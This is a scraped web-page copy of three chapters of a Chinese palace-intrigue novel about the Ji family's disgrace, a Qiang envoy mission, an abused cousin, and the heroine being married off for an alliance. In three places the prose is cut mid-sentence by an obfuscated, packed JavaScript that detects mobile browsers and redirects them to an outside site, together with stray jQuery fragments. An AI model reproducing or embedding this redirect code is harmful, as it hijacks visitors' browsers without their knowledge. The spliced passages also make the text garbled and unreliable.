l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16330274|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,怒喝一声:“都闭嘴!”
顿时安静如鸡。
“姬呈,你父已死,但过不可揭,便由你子承父过吧。官降三品,罚俸一年,自明日起,便不要来上朝了,在家好好反省一月。”皇帝语气淡淡的,几句话就定性了此次战事。
姬呈抬眸,有些不可置信地看着皇帝,眼里满是失望。
“怎么?不满意这个结果?”皇帝反问,眼神愈发冰冷。
“臣……遵旨。臣,谢主隆恩。”姬呈咽下所有不满和愤怒,只能平静地接受这个结果并感念陛下恩德。
其他姬家人不敢再开口,因为他们清楚陛下对姬家非常不满,哪怕没有说错话也会被找由头降职降罪,还不如不说话。
“眼下羌胡来势汹汹,哪位将军敢领兵抗敌?”皇帝接着说道,眼神扫过每一位武将。
竟无一人吭声。
皇帝的脸愈发黑沉了,就在他要发怒之时,二皇子站了出来。
“父皇,儿臣愿往。”二皇子道。
“哦?老二,你竟愿意?”皇帝有些没想到。
“儿臣愿为父皇分忧,将羌胡打回他们的地盘!”二皇子说道。
皇帝看着二子意气风发的模样不由地想到了年轻时的自己。
“好!老二,父皇调兵五万给你,你可不要让父皇失望啊。”皇帝。
“儿臣遵旨!”二皇子露出了自信的笑容。
一旁的大皇子和三皇子收回了眼神,心中不屑。
就他惯会讨父皇欢心。
皇帝看了眼身旁太监,太监会意,高声喊道:“退朝!”
大殿之外。
“二皇兄,弟弟佩服,你竟敢领军去打羌胡。”三皇子走到二皇子身边,微微笑着,话里却带着刺。
“做儿子的理应为父亲分忧不是吗?”二皇子也微笑。
“老二,羌胡不好打,你可别学了姬将军战死沙场又让那么多将士去送了死啊。”大皇子也走了过去,拍了拍二皇子的肩膀,语重心长地说道,瞧那样子似乎很为这个弟弟担心。
“大皇兄多虑了,我定不会如此的。”二皇子脸上神色不变。
再往后,姬呈听着前面的话语不免握紧了拳头。
他阿耶定不是那种好大喜功、让底下将士去送死之人,这其中定然有诈!陛下为何不信?就因为姬家势大,便可以睁眼说瞎话随意定姬家人的罪吗?
尚书令从姬呈身边路过,走到远处还回头看了眼姬呈,脸上带着嘲讽的笑,随后便离开了。
姬家人失魂落魄地回到姬家,姬呈忧心母亲知道消息后无法接受,回大房院子的脚步都快了许多。
姬大夫人坐在院子里的石凳上哭着,听见了脚步声,余光瞥见了儿子的身影,她立刻起身跑了过去抓住姬呈的双臂,
“呈儿,陛下怎么说?你阿耶他……他……”
姬呈躲开了母亲的眼神,他不敢看。
姬大夫人脸色一变:“呈儿,你跟阿母说实话,今日朝堂上都发生了什么?”
一旁姬呈的夫人和几个儿女、妹妹还有还没离开的姬母和姬昤也都看着姬呈。
姬呈沉默了片刻,还是缓缓说出了刚才发生的一切。
姬大夫人松开了姬呈的手臂,跌坐在地上。
“阿母!”
“丈母!”
姬呈和夫人连忙去扶姬大夫人。
“天地良心,我振郎怎会是那好大喜功的罪人?可怜我振郎死后还要背上骂名!振郎啊振郎,你的满腹忠心……终究是错付了!”姬大夫人哭得不能自已,最后还是被儿媳扶回了房,几个儿女和妹妹也进了屋陪着,院子里只剩下了姬呈、姬母和姬昤三人。
“兄长,你方才说二皇子领了抗击羌胡的旨意对吗?”姬昤询问道。
“是。”姬呈应声,他的脸色有些苍白,整个人看起来都很无力。
“据我所知,二皇子武艺一般,哪怕领兵五万也不可能打得过羌胡,为何他要主动领命?陛下可有派猛将辅佐?”姬昤不解。
姬呈的双眼逐渐有神,他思索了片刻,然后道:“不曾。既如此,二皇子为何要请命?明显就是送死,二皇子怎会舍命?”
姬昤面色严肃:“兄长,大伯父怕是死于阴谋诡计,且与二皇子脱不了干系。”
姬呈咬紧了牙关,眼里逐渐凝聚起恨意。
二皇子……
19.羌胡使团
十日后,姬家大爷姬振的尸首送回了建康姬府。
时隔两月,姬家再一次挂上了白幡。
姬呈作为大房嫡长子,由他领头送葬。
长长的送葬队伍绕过整个建康城,围观的百姓们有哭的,有谈论的,亦有骂的。
烂菜叶子和臭鸡蛋砸在姬呈的脸上,黏滑的液体从姬呈脸上滑落,姬呈瞥眼过去,冰冷的眼神扫过出手的那些人,继续往前走着。
姬府祠堂。
姬大夫人像个提线木偶毫无生气,整个人瞧着老了十余岁。
她看着上方摆着的姬振的牌位,眼泪悄无声息地流了出来。
“振郎啊振郎,你忠的是什么君啊?报的又是什么国啊?振郎,你让我怎么办呢……”她喃喃着。
姬呈回到了姬府,来到了祠堂。
“阿母。”姬呈轻喊了声。
姬大夫人没有回头,只是轻轻擦拭着姬振的牌位:“羌胡打到哪儿了?”
“快到广汉郡了。”姬呈回答。
“广汉郡……益州……真快啊。”姬大夫人感慨。
“幸而益州的两位藩王联合边疆守卫军拼死抵抗,否则现下应已打到巴东郡了。”姬呈说道。
“二皇子不是领军去了吗?”姬大夫人又问。
“尚在路上,还没赶到。”姬呈回答。
“你回去歇息吧,这几日累着你了。”姬大夫人。
“儿子不累,阿母,您去歇着吧。”姬呈走上前几步,有些担忧地看着母亲。
“你去歇着吧,我想多陪陪你阿耶。”姬大夫人声音哽咽。
姬呈张了张嘴,千言万语最终都咽了下去没说出口。
一个月后。
姬府。
“听说了吗?二皇子打了胜仗,即将班师回朝了!”
“是吗?但……不是说二皇子还因此受了伤,听说腿都骨折了!”
“那我就不清楚了,我就听到外面人说二皇子打赢了,正在回来路上。”
……
姬昤路过听见下人们的谈论不禁有些疑惑。
二皇子她不是没见过,瞧着就一般,不像是武艺高强的样子,更何况陛下甚至都没有派猛将辅佐他打仗,怎么才短短半月左右就打赢了?大伯当初可是和羌胡打了足足小半年呢。
不多时,姬昤得知了一个消息——
二皇子打了胜仗,陛下龙心大悦,今晚将在东堂大摆宴席,姬家人自然也要出席。
黄昏时刻,众人纷纷入宫。
皇宫。
太极殿东堂。
“皇上驾到!皇后娘娘驾到!”太监尖声高喝,皇帝走进了室内,走向最高的位置坐下。
“吾皇万岁万岁万万岁!皇后娘娘千岁千岁千千岁!”众人起身。
“免礼。”皇帝笑着说了句,可以看出他心情很好。
众人坐下。
“老二。”皇帝喊了声。
二皇子由宫人扶着站了起来:“儿臣在。”
“这次你做得不错,朕心甚慰啊。”皇帝很是喜悦。
“父皇谬赞了,这都是儿臣应该做的。”二皇子恭敬说道,他的脸上还有些细小的伤痕,想必是打仗时留下的。
“唉,这次你立了大功,想要何封赏啊?”皇帝问。
“父皇,为大安作战是儿臣的本分,不敢奢求封赏,只要大安能安然无恙、父皇能安睡无忧,儿臣就心满意足了。”二皇子义正言辞。
皇帝大笑了几声,很是满意,接着看了眼身旁的太监。
太监往前走了两步,拿出一道圣旨。
“二皇子接旨!”太监喊道。
所有人都跪下了。
“奉天承运皇帝,诏曰:皇二子弛击退羌胡有功,今赐封地庐陵郡,特封为庐陵王,一月后赶往封地,钦此!”太监念完之后走到了中央跪着的二皇子——庐陵王跟前,“王爷,接旨吧。”
跪着的庐陵王脸色微变,指尖因用力逐渐变白,不多一会儿,他重新拾起笑容,抬头接下了圣旨。
“臣,谢主隆恩!”
“都起来吧。”皇帝脸上仍带着笑意。
众人又回到位置上坐着。
大皇子和三皇子隔着中间的庐陵王对视了眼,然后对他说了恭喜的话。
庐陵王扯了扯嘴角,勉强笑了笑。
东堂内载歌载舞,热闹非凡,这时,皇帝身边的大太监高声喊道:“宣羌胡使团觐见!”
歌舞姬们退了出去,东堂内变得十分安静,所有人的目光都看向大门处——
一行人走了进来,身上穿着羌胡特有的服装,其中还有一位蒙面的女子,但光从那双露出的眸子就可以断定定是位美人。
“羌胡使臣弥弋河拜见大安皇帝陛下。”为首的羌胡人行着他们的礼,微笑说道。
皇帝淡笑笑道:“免礼,赐座。”
“谢皇帝陛下。”
太监走上前领着羌胡使团的使者们到他们的位置坐下。
“此次交战双方都有不小的损失啊,羌王带来了什么好消息呢?”皇帝一手拿着酒杯轻晃着,语气有些随意。
“我们王上自然不愿干戈再起,想与大安和平共处的,所以这才派了我等前来。”弥弋河回答。
“哦?如此甚好,亦是朕所愿。说说看你们羌王的诉求吧。”皇帝。
弥弋河微微一笑,说出来的话却让在场近乎所有安人变了脸色——
“我们此次还有柔云郡主随行,希望和大安结两姓之好,此外,羌胡愿与大安停战二十年,但……望大安将益州的梓潼、汶山两地割给羌胡,且允羌胡在益州设立互市。”
刚才蒙面的女子也顺势站了起来,走到中央,揭下了面纱,盈盈一笑:“羌胡柯柔云拜见大安皇帝陛下。”
皇帝沉默不语,两只手放在桌上,缓慢而有节奏地敲着。
姬昤随阿耶阿母坐在角落里——不知是不是皇帝特意安排,换做从前他们姬家人都是坐在前面的。
姬昤听到弥弋河的话差点没忍住笑出声来。
这羌胡人真是好大的口气,张口就要走了安朝的两个郡,一地梓潼控制着蜀地和中原的联系,战略意义十分重要,一地汶川维系边疆稳定、连接周边民族例如羌胡,两地如此重要,竟还要开互市,仅仅是想送个郡主过来联姻就完事了,真是可笑。
不过……庐陵王在这其中扮演什么角色呢?
姬昤喝下一口酒,思索着。
“砰”一声,皇帝手边的杯盏掉落在地摔碎发出声响,众人一惊,不禁都看向皇帝,琢磨着他的心思。
皇帝突然露出一个微笑:“朕失手了,众爱卿继续吃啊,怎都停下了?继续,继续。”
众人面面相觑,虽然继续动筷吃着,但大多小心翼翼。
“柔云郡主?你多大了呀?”皇帝露出一个和蔼的笑容看向中央站着的美人,问道。
“柔云已十七。”柯柔云回答。
“奥,十七啊,朕现如今只有两位皇子符合了,大皇子已有正妃,自然不敢委屈郡主做侧室,就只剩下刚封的庐陵王和朕的三儿子了,郡主可有中意的?”皇帝指了下下方坐着的庐陵王和三皇子。
柯柔云两人都看了看,最后瞥了眼庐陵王,然后回头羞涩道:“全凭皇帝陛下做主。不过……柔云更愿成为皇帝陛下的女人。”
接着,弥弋河站起身
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16339508|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
:“皇帝陛下,不知对梓潼、汶川两地有何想法呢?若是皇帝陛下愿意,羌胡愿拿出王子妃一位交换,求取大安贵女,日后便是羌胡王妃。”
姬昤对羌胡的不要脸表示震惊,这王子妃一位是什么了不起的东西吗?嫁过来一个郡主又想娶走安朝的一位贵女,还要安朝割让两郡、设立互市,怎么看安朝都亏大了呀!
皇帝老儿不会真同意吧?
姬昤不禁看了眼皇帝,只见皇帝垂眸,脸上神色不明,一只手摩挲着杯盏。
姬昤又看了眼柯柔云,她很想知道羌胡此次用意到底是什么,嫁一个郡主过来说是更愿意入皇帝后宫,这大皇子都比柔云郡主大五岁了,她竟还想入后宫?怎么想的?她本以为这柯柔云和庐陵王有关系,要嫁也是做庐陵王妃,没想到啊,竟是冲皇帝后妃来的。
“看来,羌王此次是笃定朕会接受这个提议了?”皇帝微笑反问。
弥弋河同样微笑:“我们羌王自是为了两国和平考虑,本来羌胡大军已至广汉郡,但为了两国百姓着想,我们羌王退出安朝地界,只要梓潼和汶川两地。”言下之意就是,你们若是不给我们这两地,我们就要继续打进来了。
皇帝轻笑了声,老臣立马会意,拍桌子起身指着弥弋河大骂:“真是好大的口气!羌胡竟妄图嫁一个郡主过来就换做我们大安两郡!还想让我大安贵女嫁到羌胡?痴心妄想!”接着,老臣转向皇帝。
“还请陛下三思,此举万万不可啊!”
“还请陛下三思!”一众臣子跟着说道。
皇帝敲了敲桌子,严肃的脸突然裂出了笑容:“都坐下吧,此事容朕考虑考虑。舞姬呢?接着舞!”说罢,本已退下的舞姬又重回到殿中,柯柔云也回到自己的位置坐下。
最终,待到宴席结束,皇帝看向羌胡使团,说道:“你们来一次大安也不容易,不如留下在建康多玩玩,好好欣赏我大安风景,半月后朕再给你们答复,如何?”
弥弋河起身恭敬回答:“谢皇帝陛下,那我们就静候佳音了。”
“嗯。”皇帝应了声,起身,和皇后一起离开。
众人起身恭送。
西堂。
“砰!”
屋内一地碎片,站在一边害怕的皇后,还有暴怒未止的皇帝。
“羌胡……羌胡……真是好嚣张啊!”皇帝猛地一拍桌面,压着嗓子怒道。
“陛下,您息怒啊,别为了旁人气坏了自己的身子。”皇后上前劝道。
皇帝冷冷地瞥了眼皇后,然后在位置上坐下,闭上了眼。
皇后走到皇帝身后,伸出手轻轻揉捏着皇帝的双肩,柔声道:“陛下,虽说羌胡实在嚣张,所提之事令人惊愕,但……大安如今真能打过羌胡吗?不是妾身长他人志气灭自己威风,而是如今大安真的无人可用,瞧瞧庐陵王,都断了腿呢。”
“你的意思是……”皇帝睁开了眼,一只手反手抓住了皇后的手,力气逐渐增大,“我大安不如羌胡了?”
皇帝回过头看向皇后:“嗯?”
皇后神色不变:“陛下,妾身不是这个意思,妾身的意思是……可否和羌胡商谈,其余不变,只给汶川,不给梓潼?”
皇帝松开了皇后的手,继续享受皇后的揉肩:“我一个地都不想给。”
“近些年羌胡势力逐渐壮大,不如……咱们和羌胡定下协议,结为友好之邦,共抗匈奴、鲜卑?”皇后想了想,说道。
皇帝沉默了一会儿,然后道:“你出去吧,我要自己待会儿。”
皇后收回双手走到一边,行礼道:“喏,妾身先行告退。”
皇后出去后,西堂内只剩下皇帝一人,他盯着地上的碎片沉思着。
20.姬莲的求救
羌胡使团在建康的四方馆中的羌胡邸住下了,百姓听闻了宫中传出的消息,有大胆的直接朝羌胡邸墙上扔臭鸡蛋、泼粪,最终官兵把他们抓了起来,说是要关上几天以示惩戒,被抓的百姓倒是不恼,只是觉得自己做的还是太少了。羌胡使者们竟也不恼,一直安分地待在邸中,就连外出都甚少,直到皇帝下旨派了庐陵王前去带羌胡使者们好好逛逛建康城,他们这才出门。
建康城中。
姬昤只是出来逛逛,没想到又碰见了三皇子,她合理怀疑三皇子在跟踪她,好在她带了冼英和杨妙真。
“绥英,好巧啊,又遇见了。”三皇子走到姬昤身边,笑着说道。
“呵呵,好巧啊,三皇子,我怎么总能遇见你呢?”姬昤皮笑肉不笑。
“兴许是我们二人有缘吧。”三皇子笑容不变。
“呵呵,有缘,可太有缘了。”姬昤继续假笑。
“既然绥英也这么认为,不如你我二人一同用午膳好好聊聊?”三皇子说着指向一边,“那个酒楼菜做得不错,绥英快要去尝尝?”
姬昤看着三皇子沉默了会儿,然后点了下头。
她也想搞清楚这个三皇子到底对她打的什么主意。
酒楼包间,窗户开着,正好能看见沿街的风景和来往的路人。
姬昤看着一桌美味的菜肴并没有什么胃口。
“殿下,不介意我这两位姐妹坐下一起吃吧?”姬昤看向三皇子。
“请随意。”三皇子微笑。
冼英和杨妙真二人在姬昤两旁坐下。
“绥英你尝尝,这都是这儿的招牌菜,味道都很不错。”三皇子接着说道。
姬昤瞥了眼菜,确实不错。
“殿下,有话不如直说吧。”
“什么?绥英,我只是碰巧遇见你了想着和你聊聊,我能有什么别的话?”三皇子一脸不解。
“三殿下,你还是叫我姬三娘子吧。至于碰巧遇见,我可不认为只是‘碰巧’。”姬昤。
三皇子渐渐敛了笑容:“姬绥英,非要把话说得这么明白吗?”
“三殿下,我不觉得我们之间有什么好聊的,别忘了,你可是派人杀过我的。”姬昤说着微微一笑。
三皇子笑了一下,一只手把玩着桌上的酒杯:“三娘子,那都是误会,就让误会过去,我们和平相处不好吗?近来父皇可是越发忌惮姬家了,若你我二人相合,想必也能为姬家多留一条退路。”
三皇子抬眸,看向姬昤:“如何?”
姬昤微笑,缓缓吐出三个字——
“不、如、何。”
三皇子脸色一变,猛地将手中酒杯砸碎在地,他身后的属下立刻拔刀指向姬昤,冼英和杨妙真二人也立马起身护在姬昤身边。
“三殿下这是要动手了?这可是天子脚下,若是让陛下知道了,你猜陛下会不会猜忌你这个亲子?”姬昤淡淡一笑,不慌不忙的。
“三娘子非要跟我闹是吧?”三皇子冷着脸。
姬昤晃了晃手指:“不不不,是殿下非要跟我纠缠。”
三皇子冷哼了一声,刚想说什么,余光瞥了眼外面,似乎是想到了什么:“既如此,我们也没什么好说的了,告辞。”说罢起身,还走到了窗边,露出大半张脸。
他又道:“三娘子,钱我已经付了,别浪费了。”说罢抬脚刚要走,就被人喊住了。
“三弟?”
三皇子转过身从窗户口往外望,只见庐陵王带着柔云郡主和弥弋河就在下面。
三皇子低头看去,很是惊讶:“皇兄怎的在这?真巧啊!”
庐陵王笑着领着几人到了包间,见到屋内的姬昤等人时还有些惊讶。
“姬三娘子也在啊。”庐陵王说着朝姬昤点了下头,算是打了个招呼。
“见过庐陵王。”姬昤也行了下礼。
“姬三娘子是?”一旁的柯柔云好奇地询问道。
“建康姬家嫡出一脉三娘子,建康有名的贵女。”庐陵王介绍着。
柯柔云了然地点点头,然后看向姬昤,笑容得体,姿态大方:“羌胡柯柔云见过姬三娘子。”
姬昤也微微一笑:“大安姬绥英见过柔云郡主。”
庐陵王又看了看窗边的弟弟,笑道:“你们二人这是……怎么这么一大桌好菜都不吃啊?”
姬昤解释道:“忽然想起家中还有事,便也来不及吃了。庐陵王,柔云郡主,三皇子殿下,绥英先告退了。”说罢带着冼英和杨妙真离去。
庐陵王的目光随着姬昤远去,等人走远才收回目光,看向弟弟。
“这是惹人家姬三娘子生气了?不是王兄说你,多顺着点小娘子的心意又如何呢?你这样就别想得人家姬三娘子的心了,没戏。”庐陵王一边说着一边坐下了,话语间似是在打趣,一副为弟弟好的模样。
接着庐陵王又看向柯柔云:“郡主,使臣大人,请坐,不必同我们客气。”
柯柔云和弥弋河微微一笑,两人坐下了。
三皇子依旧靠在窗边,瞥了眼楼下离开的姬昤:“王兄说笑了,只是友人之间相聚一下罢了,谈不上什么心意不心意的。”
“是吗?不曾见你与父皇谈论过婚事,如今见到你与姬三娘子相聚我还当你是心悦人家,原来是我误会了。”庐陵王。
“王兄和郡主、使臣大人慢用,这桌菜我们并未动过。我还有事,就不陪你们了。”三皇子说着也带着属下离开了。
待他们离开后,柯柔云才开口道:“那个姬三娘子不愧是建康有名的闺女,身边跟着的二人都是高手。”
“高手?”庐陵王有些疑惑。
柯柔云敛眸,说道:“是啊,那两位娘子都是练家子,看样子可不输你啊,弥大人。”
柯柔云给自己倒了杯酒,向弥弋河敬了一下。
弥弋河也给自己倒了杯酒回敬回去,然后看向庐陵王,说道:“庐陵王,这姬家可是大族,若是让三皇子娶了姬三娘子,你岂不是危险了。”
庐陵王自嘲似的轻笑了声:“我危险?我现在不是已经在危险中了吗?庐陵王……封王了!我已经封王了!我跟皇位还有什么关系?呵。”
“王爷莫要妄自菲薄,或许这也是件好事,毕竟庐陵郡可是个好地方,也能安心下来。”柯柔云说道,看着庐陵王的眼神意味深长。
庐陵王思索了片刻,露出一个笑容:“还是郡主通透。至于姬三娘子……你们不是要安朝嫁过去一个贵女吗?我会想办法说服我父皇的,她不论如何也不会嫁给我三弟。”
姬昤本想直接回府,但想到近来卫子夫为了帮她解决四房的威胁实在辛苦,所以转道去了健康有名的糕点铺子,她打算买些糕点回去。
买好糕点,姬昤刚要上马车,突然一个人影朝她冲了过来,杨妙真下意识就把人挡住推了一把。
“啊!”来人倒在地上吃痛一声,接着又赶紧爬起拉住了姬昤的手。
“姬莲?”姬昤很是疑惑,她没想到姬莲出嫁后再见到她会是这样。
“昤妹妹,好妹妹,从前以往千错万错都是我错了,我什么都错了,你能不能原谅我?只要你能……救救我,我给你当牛做马,我做什么都愿意的!”姬莲紧紧抓着姬昤的双手,眼看着眼泪都要涌出来了。
姬昤看着眼前的姬莲不禁有些惊愕,现如今的姬莲哪有从前明媚嚣张的样子,脸色极差,哪怕抹了再多粉都盖不住她脸上的憔悴,眼下乌青严重,看着好似病了一般。
“姬莲,你怎么……变成现在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16344603|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
这样了?”姬昤不禁问道。
姬莲听到这一句关心的话语眼角的泪水一下子滑落,她哽咽道:“昤妹妹,我的夫婿是个疯子,你救救我,救救我好不好?实在不行……你……你去找我阿母,跟她说,让她接我回家好不好?我好想回家,我想回去。”
不等姬昤开口,一道深深印刻在姬莲脑海里恶魔般的声音响起——
“莲儿,你怎么跑到这儿来了?真是让夫君好找。”
姬莲肉眼可见地身子僵了一瞬,眼神都呆滞了片刻,姬昤不禁向后方看去,她倒要看看让姬莲这么害怕的男人是何模样。
只见一个斯文俊朗的男人站在姬莲身后不远处,他脸上戴着半边面具,笑容和煦,举手投足之间都带着书生气,让人一瞧就生厌不起来。
他走了过来,手牵过姬莲的手,看向姬昤。
“你是……莲儿家中的哪位妹妹吗?”他问。
姬昤瞥了眼神色害怕的姬莲,说道:“姬三娘子姬绥英。想必你就是谢二郎君了?”
谢二郎君微微一笑:“正是在下。说来也巧,你们姐妹二人久久不见今日竟在这里相遇了,方才你们是在叙旧吗?不如到谢府一聚如何?”
“不了,已经聊完了,就不去叨扰了。”姬昤拒绝道。
“是吗?那我们就先告辞了,家中还有事。”谢二郎君说着去拉姬莲另一只抓着姬昤的手。
姬昤垂眸,看着那只手渐渐松开,再抬眸,看见的就是姬莲痛苦的眼神,直到他们二人转过身去,姬昤再看不见什么。
冼英和杨妙真二人站在姬昤身后看着姬莲远去的背影很是惊讶。
“娘子,这姬莲说的是真是假?”杨妙真好奇问道。
“就怕这姬莲是骗娘子的,和那谢二郎君是合起伙来的,就为了住在姬家的谢渊。”冼英面色沉重。
“上车吧。”姬昤收回了目光。
马车上。
“不是假的,我看见她身上的伤了,不少,伤得也不轻。”姬昤说道。
“啊?姬莲真被……打了呀?”杨妙真惊讶。
“这……这谢家的婚事子夫去打听过,还是姬五爷上门求来的,怎的姬莲嫁过去一直受虐待?五爷不知道吗?”冼英也很疑惑。
“就怕是我这五叔为了达成自己的目的不论姬莲死活,根本不管那谢二郎君是什么人,只要他们五房和谢家有联系就够了。”姬昤说罢叹了口气,“姬莲本身也不坏,也没做过什么特别坏的事,顶多从小和我不太对付,但我看到她现在这样……唉……”
“娘子心软了?”冼英问。
“也不算心软吧,我们之间本就无甚大仇怨,她如今这样我也不想看到。旁的我无法帮,就替她跟她阿母说一声吧。”姬昤说道。
回到姬府,姬昤独身一人去找了姬五夫人,将姬莲的状况告诉了她。
姬五夫人捏紧了手中的帕子,接着露出一个笑容,说道:“你们姐妹感情好自然是好,不过想必是莲儿她与夫婿有了嫌隙,一时想不清楚便找了你,没事的,不必担忧,夫妻之间么,难免有磕磕碰碰的。”
“姬莲知道吗?”姬昤听着这话忍不住笑了声,她反问道。
姬五夫人勉强笑了笑:“她以后会明白阿耶阿母的苦心的。”
姬昤轻笑了声:“行,既如此我也不会多管,告辞,五叔母。”
“这就走了,不再坐坐了吗?你也难得来叔母这儿。”姬五夫人客套了一句。
“不必了,坐不起啊。”姬昤意味深长地看了眼叔母,说罢离开。
姬五夫人看着姬昤远去的背影咬紧了牙关,双眼湿润,眼泪却倔强地留在眼眶内迟迟不肯落下。
莲儿,别怪阿耶阿母狠心,这都是为了咱们的未来啊。
21.安定郡主
接下来的日子姬昤没有再出门,她怕又遇见了三皇子,她就怕到时候她是演都不想演指着人家鼻子破口大骂了,不过……
这其中也有姬莲的缘故。
自从明白五叔和五叔母的态度后她就觉得姬莲也是可怜,被自己阿耶阿母卖了还不知道,还在祈祷哪一天她的阿耶阿母能来救她。
英兰苑。
房中。
“我那四叔没对你做什么吧?”姬昤看着卫子夫,问道。
卫子夫笑着摇了摇头:“主公莫要小瞧了属下,属下怎会让那人得逞?四爷连属下的手都不曾碰到过。不过,属下近来得知四爷和夫人争吵不断,四爷又往房中纳了好几名妾室。”
姬昤抓了抓额头,有些无奈:“我这四叔,还真是好色成性。”
“还有,四房二郎近来官场不得意,在家中又日日被四爷数落,本没什么,可属下发现他命人悄悄去了药铺买了些药放进了四爷的日常吃食中。”卫子夫道。
“嗯?他这是要……谋杀亲父吗?”姬昤疑惑。
卫子夫点头。
姬昤不禁瞪大了双眼,她甚至有些不敢相信。
四房的这位阿兄自小便怯懦,从小说话声音都很轻,也就长大成家后性子渐渐开朗了些,可没想到他也会做出弑父的事来,想必也是被逼急了。
“主公,可要帮一下四房二郎?”卫子夫问。
“不必,既然有人动手了我们就不要去掺和了,这段时日不要再和四叔见面了,你就说你病了没法儿见人。”姬昤说道。
“喏。”卫子夫应声。
“对了,你就趁这段时间跟冼英和杨妙真她们学点防身之术,能学多少学多少。”姬昤。
“属下明白。”卫子夫。
这时,月栀敲响了门,喊了声“娘子”。
姬昤对卫子夫点了下头,卫子夫起身离去,月栀进了屋内。
姬昤见月栀一脸藏不住事的样子就知道她又有瓜了。
“坐下慢慢说,别急。”姬昤拍了拍一旁的凳子,还推了下桌上的糕点,示意月栀吃。
月栀坐下了,只是猛灌了一大口茶水,糕点也来不及吃,开口就道:“娘子,我的小姐妹她的弟弟在宫中当差,我可听说了,方才三皇子进宫请皇上赐婚结果没成呢!”
“赐婚?和谁?”姬昤有种不好的预感。
月栀直勾勾地盯着姬昤却不说话。
姬昤忍不住翻了个白眼:“三皇子有病吧?我哪里像是愿意嫁给他喜欢他的样子?我都那样说他了,他怎么还……呼,疯子一个。”
“你刚说没成,然后呢,发生了什么?”姬昤冷静下来,又问。
月栀神秘一笑:“接着就传出皇上旨意,册封三皇子为郁林王,封地郁林郡。”
“郁林王……郁林郡……交州?这么偏远的地方让三……郁林王去,啧,这是惹他父皇生气了呀?赐他的封地都是人少又不服管、没钱偏远的。”姬昤不禁笑了。
让他总盯着她,这下好了,发配边疆了吧?活该!不过……只是求赐婚而已,怎么会有这么严重的后果?难不成这其中还有些不为人知的事?
“娘子,你说这三皇子,不,郁林王,他逗不逗?本想娶了娘子你得到姬家助力,结果适得其反惹得皇上震怒被发配边疆,傻不傻啊!”月栀还在笑。
姬昤却有些笑不出来了,她总感觉这里面还有其他事,可她暂时又想不到会是什么事,突然,姬昤想到了什么,一把抓住了月栀的手。
月栀一哆嗦,手中的糕点落在了桌面上。
“娘子,您怎么了?这郁林王活该呢,您怎么瞧着不太开心?”月栀问。
“月栀,前些日子庐陵王的接风宴上羌胡是不是提过要娶走一个大安贵女做羌胡的王子妃?”姬昤开口道。
月栀想了想,点了下头:“好像是有,可……”月栀脸色一变。
“娘子,您不会以为皇上驳了郁林王的赐婚是为了要把您嫁去羌胡吧?不,不可能吧,大安不是还有两位适龄的公主吗?人家羌胡把羌王宠爱的的女儿柔云郡主送来了,总不可能接受我们大安只送过去一位世家贵女吧?”月栀虽这么说着却也有些担心,说话都有些颤抖了。
姬昤轻笑了声:“那两位适龄的公主一位是皇后所出,嫡出公主怎么会用来和亲?一位是贵嫔所出,那位贵嫔可是陛下心尖尖上的人,陛下又怎么会舍得她的孩子?”
月栀不禁反握住姬昤的双手,担忧道:“娘子,那怎么办啊?那羌胡哪是什么好地方,若是您去了定有吃不完的苦头啊!”
“先不必担忧,这都是我的猜测,现在都是没影的事,但若真的是这样……我不可能就这么嫁过去的。”姬昤的眼神越发坚定,她心中也逐渐有了想法。
三日后,羌胡使团即将离开,为此皇帝设了宴席。
皇宫。
太极殿西堂。
众人都很震惊,因为陛下竟然同意了羌胡的提议,只不过仍保留了梓潼,将汶川一地割给羌胡。柔云郡主也如她所说如愿进了后宫成了陛下的“柔夫人”。
“咳咳咳咳!”姬昤遮着嘴巴咳嗽着,面色瞧着很是痛苦。
皇帝不禁多看了眼姬昤,面若关心:“姬三娘子这是病了?何时的事啊?病得可重?不如朕传太医来给你瞧瞧?”
姬昤垂眸,忍住了冷笑的心。
都对他们姬家忌惮了还这么“关心”她了,要说没有别有用心她可真不信。
不等姬昤开口,姬父说话了:“谢陛下关心,昤昤已经病了几日了,只是不曾想竟愈发严重,但家中大夫都瞧过了,正在医治。”
“是么……既如此,朕就用一个大喜事来冲冲三娘子的病气吧!”皇帝瞧着有些欢喜,笑着说道。
“大喜事?”姬父疑惑,心底却一沉。
难不成是昤昤说的那件事?
“哈哈!”皇帝笑了几声,然后看了眼身旁的太监。
太监上前几步拿出了圣旨,众人起身跪下接旨。
“奉天承运皇帝,诏曰:今有姬家三娘子姬昤,肃邕成性,秀外慧中,乃贵女之典范,特封为郡主,赐封号安定,于十月十九出降羌胡为王子妃,钦此!”
众人震惊,没想到皇上竟做到如此地步!众人不禁望向姬昤,目光有些同情。
姬父姬母的脸上都带着怒气,只有姬昤最冷静,因为她早就猜到这个结果了。
见久久无人接旨,太监不禁催促了句:“姬三娘子,接旨吧。”
姬昤缓缓抬起头,目光直视着皇帝,不语。
姬父没忍住开了口,他看向皇帝:“陛下,这么重要的旨意怎么都没事先知会一声我们姬家啊?事关重大,怎就如此草率地做了决定?”
皇帝一听,怒了,他猛地一拍桌子,喝道:“放肆!”
其他人连忙说着“皇上息怒”,可姬父姬母却不怕。
